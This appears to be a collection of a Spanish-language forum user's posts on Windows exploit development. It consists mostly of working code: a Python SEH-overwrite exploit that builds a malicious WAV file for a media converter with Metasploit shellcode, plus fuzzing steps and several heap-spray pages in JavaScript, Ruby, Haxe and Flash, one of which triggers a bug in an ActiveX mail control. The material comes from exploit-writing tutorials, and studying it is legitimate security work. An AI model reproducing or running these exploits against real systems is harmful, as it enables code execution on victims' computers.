Yo lo hice cuando aun no estaban traducidos, que conste. Saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitar
esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18
opcodes ff 55 30 = call dword ptr [ebp+0x30] y opcodes ff 65 30 = jmp dword ptr [ebp+0x30]
Entonces:
0:000> s 0100000 l 77fffff ff 55 30
#!/usr/bin/env python
# PoC
######################
import sys
basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x23\x0a\x99\x00"
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x46\x42\x50\x5a")
exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()
print ("[+] Hecho!!!")
Cita de: wirelesswifi en 8 Marzo 2012, 14:46 PM
el archivo crash.wav seria el exploit a alltomp3.exe?
C:\Program Files\Debugging Tools for Windows (x86)>windbg –I
#!/usr/bin/env python
# Fuzz
#####################
import sys
fuzz = "Cadena de caracteres de pattern_create.rb"
f = open("crash.wav","wb")
f.write(fuzz)
f.close()
print ("[+] Hecho!!!")
C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!
msf > ruby pattern_offset.rb 68463768
[*] exec: ruby pattern_offset.rb 68463768
4132
#!/usr/bin/env python
# PoC
#####################
import sys
basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x91\x6a\x5d\x00"
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x46\x42\x50\x5a")
exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()
C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!
<html>
<script>
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
</script>
</html>
var block = bigblock.substring(0,bigblock.length - slackspace);
<html>
<!— Indicamos usar el ActiveX AOSMTP Mail -->
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
<script language='javascript' src="heapLib.js"></script>
<script language='javascript'>
var heap = new heapLib.ie(0x10000);
// win32_exec - CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var code = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
// creamos un bloque de nops
var nops = unescape('%u9090%u9090');
while (nops.length < 0x800) nops += nops;
// le añadimos la shellcode al bloque
var shellcode = nops.substring(0, 0x800 - code.length) + code;
// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x40000) shellcode += shellcode;
// dejamos sitio a la cabecera
var block = shellcode.substring(2, 0x40000 - 0x21);
// heap spray
for (var i=0; i < 500; i++) {
heap.alloc(block);
}
// rellenamos el stack
var payload = "";
while(payload.length < 300) payload += "\x0a";
// trigger
target.AddAttachments(payload);
</script>
</html>
OS & Browser | Block syntax |
XP SP3 – IE7 | block = shellcode.substring(2,0×10000-0×21); |
XP SP3 – IE8 | block = shellcode.substring(2, 0×40000-0×21); |
Vista SP2 – IE7 | block = shellcode.substring(0, (0×40000-6)/2); |
Vista SP2 – IE8 | block = shellcode.substring(0, (0×40000-6)/2); |
Win7 – IE8 | block = shellcode.substring(0, (0×80000-6)/2); |
<html>
<script language='javascript' src="heapLib.js"></script>
<script language='javascript'>
var heap = new heapLib.ie(0x10000);
// AAAAs
var code = unescape("%u4141%u4141");
// creamos un bloque de nops
var nops = unescape('%u9090%u9090');
while (nops.length < 0x1000) nops += nops;
// le añadimos la shellcode al bloque
var shellcode = nops.substring(0, 0x1000 - code.length) + code;
// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x40000) shellcode += shellcode;
// dejamos sitio a la cabecera
var block = shellcode.substring(2, 0x40000 - 0x21);
// heap spray
for (var i=0; i < 500; i++) {
heap.alloc(block);
}
</script> </html>
<html>
<!— Indicamos usar el ActiveX AOSMTP Mail -->
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='target'></object>
<script language='javascript' src="heapLib.js"></script>
<script language='javascript'>
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*13)+47;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap = new heapLib.ie(0x10000);
// AAAAs
var code = unescape("%u4141%u4141");
for (var i=0; i < 500; i++) {
// creamos un bloque de nops
var padding = unescape(tounescape(randomblock(0x100)));
while (padding.length < 0x800) padding += padding;
// le añadimos la shellcode al bloque
var shellcode = padding.substring(0, 0x800 - code.length) + code;
// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x20000) shellcode += shellcode;
// dejamos sitio a la cabecera
var block = shellcode.substring(0, (0x40000 - 6)/2);
heap.alloc(block);
}
// rellenamos el stack
var payload = "";
while(payload.length < 300) payload += "\x0a";
// trigger
target.AddAttachments(payload);
</script></html>
<html>
<script language='javascript'>
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*13)+47;
}
return theblock.toString();
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
// AAAAs
var code = unescape("%u4141%u4141");
for (var i=0; i < 500; i++) {
// creamos un bloque
var randomstring = "";
for(var j=0; j < 4; j++){
randomstring += randomblock(0x100);
}
var padding = unescape(tounescape(randomstring));
while (padding.length < 0x800) padding += padding;
// le añadimos la shellcode al bloque
var shellcode = padding.substring(0, 0x800 - code.length) + code;
// creamos un bloque grande con el mismo bloque repetido
while (shellcode.length < 0x20000) shellcode += shellcode;
// dejamos sitio a la cabecera
var block = shellcode.substring(0, (0x40000 - 6)/2);
// spray
varname = "var" + randomstring;
thisvarname = "var " + varname + "= '" + block +"';";
eval(thisvarname);
}
</script>
</html>
# written by Moshe Ben Abu (Trancer) of www.rec-sec.com
bmp_width = ARGV[0].to_i
bmp_height = ARGV[1].to_i
bmp_files_togen = ARGV[2].to_i
if (ARGV[0] == nil)
bmp_width = 1024
end
if (ARGV[1] == nil)
bmp_height = 768
end
if (ARGV[2] == nil)
bmp_files_togen = 128
end
# size of bitmap file calculation
bmp_header_size = 54
bmp_raw_offset = 40
bits_per_pixel = 24
bmp_row_size = 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size = 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )
bmp_file = "\x00" * bmp_file_size
bmp_header = "\x00" * bmp_header_size
bmp_raw_size = bmp_file_size - bmp_header_size
# generate bitmap file header
bmp_header[0,2] = "\x42\x4D" # "BM"
bmp_header[2,4] = [bmp_file_size].pack('V') # size of bitmap file
bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54 bytes)
bmp_header[14,4] = [bmp_raw_offset].pack('V') # number of bytes in the bitmap header from here
bmp_header[18,4] = [bmp_width].pack('V') # width of the bitmap (pixels)
bmp_header[22,4] = [bmp_height].pack('V') # height of the bitmap (pixels)
bmp_header[26,2] = "\x01\x00" # number of color planes (1 plane)
bmp_header[28,2] = "\x18\x00" # number of bits (24 bits)
bmp_header[34,4] = [bmp_raw_size].pack('V') # size of raw bitmap data
bmp_file[0,bmp_header.length] = bmp_header
bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size
for i in 1..bmp_files_togen do
bmp = File.new(i.to_s+".bmp","wb")
bmp.write(bmp_file)
bmp.close
end
<html>
<body>
<img src='1.bmp'>
</body>
</html>
shellcode = unescape('%u4141%u4141');
nops = unescape('%u9090%u9090');
headersize = 20;
// create one block with nops
slackspace = headersize + shellcode.length;
while(nops.length < slackspace) nops += nops;
fillblock= nops.substring(0, slackspace);
// enlarge block with nops, size 0x50000
block= nops.substring(0, nops.length - slackspace);
while(block.length+slackspace < 0x50000) block= block+ block+ fillblock;
// spray 200 times : nops + shellcode
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
class MySpray
{
static var Memory = new Array();
static var chunk_size:UInt = 0x100000;
static var chunk_num;
static var nop:Int;
static var tag;
static var shellcode;
static var t;
static function main()
{
tag = flash.Lib.current.loaderInfo.parameters.tag;
nop = Std.parseInt(flash.Lib.current.loaderInfo.parameters.nop);
shellcode = flash.Lib.current.loaderInfo.parameters.shellcode;
chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N);
t = new haxe.Timer(7);
t.run = doSpray;
}
static function doSpray()
{
var chunk = new flash.utils.ByteArray();
chunk.writeMultiByte(tag, 'us-ascii');
while(chunk.length < chunk_size)
{
chunk.writeByte(nop);
}
chunk.writeMultiByte(shellcode,'utf-7');
for(i in 0...chunk_num)
{
Memory.push(chunk);
}
chunk_num--;
if(chunk_num == 0)
{
t.stop();
}
}
}
<html>
<body>
<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="320" HEIGHT="240" id="MySpray" ALIGN="">
<PARAM NAME=movie VALUE="MySpray.swf">
<PARAM NAME=quality VALUE=high>
<PARAM NAME=bgcolor VALUE=#333399>
<PARAM NAME=FlashVars VALUE="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD">
<EMBED src="MySpray.swf" quality=high bgcolor=#333399 WIDTH="320" HEIGHT="240" NAME="MySpray"
FlashVars="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD"
ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</EMBED>
</OBJECT>
</body>
</html>